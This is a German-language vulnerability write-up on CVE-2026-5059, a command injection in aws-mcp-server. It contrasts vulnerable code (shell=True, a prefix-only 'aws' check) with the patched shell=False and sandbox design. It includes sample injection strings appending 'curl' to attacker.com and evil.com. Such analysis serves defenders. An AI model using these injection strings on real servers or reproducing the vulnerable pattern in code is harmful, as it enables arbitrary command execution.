
Proof-of-Concept für CVE-2026-5059, eine Command Injection in aws-mcp-server über shell=True und unvollständige Validierung, mit Analyse des verwundbaren und des gepatchten Codes.
Wo befindet sich CVE-2026-5059 im Code? Die Schwachstelle befindet sich in zwei Dateien, die zusammenwirken:
Datei 1: tools.py — Die Grundursache Die alte Version verwendete shell=True in execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) Wenn shell=True gesetzt ist, interpretiert die OS-Shell die vollständige Zeichenkette einschließlich ;, &&, ||, Backticks — alles nach ; wird als separater Befehl ausgeführt.
Datei 2: security.py — Die unvollständige Absicherung Der Validator prüfte nur, ob der Befehl mit aws beginnt: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe Somit bestand aws s3 ls ; curl http://attacker.com die Validierung — beginnt mit aws — und dann führte shell=True beide Teile aus.
Warum die aktuelle Version (v1.7.0) anders ist Betrachtet man den tatsächlichen Code heute, sind beide Probleme behoben: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation Und security.py wurde vollständig entfernt — ersetzt durch die OS-Sandbox (Landlock/bwrap/Seatbelt). Das ; ist jetzt harmlos: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs
Zusammenfassung in einer Zeile Anfällige VersionAktuelle v1.7.0Ausführungshell=True + stringshell=False + listValidierungstartswith("aws") onlyOS-level sandbox; handlingAusgeführt von der ShellAls Literaltext behandelt Die CVE wurde gegen die alte Version eingereicht. ZDI veröffentlichte sie als 0-day, weil der Hersteller den Bericht ablehnte — aber die Architektur hatte sich bereits von shell=True entfernt, bevor die CVE veröffentlicht wurde.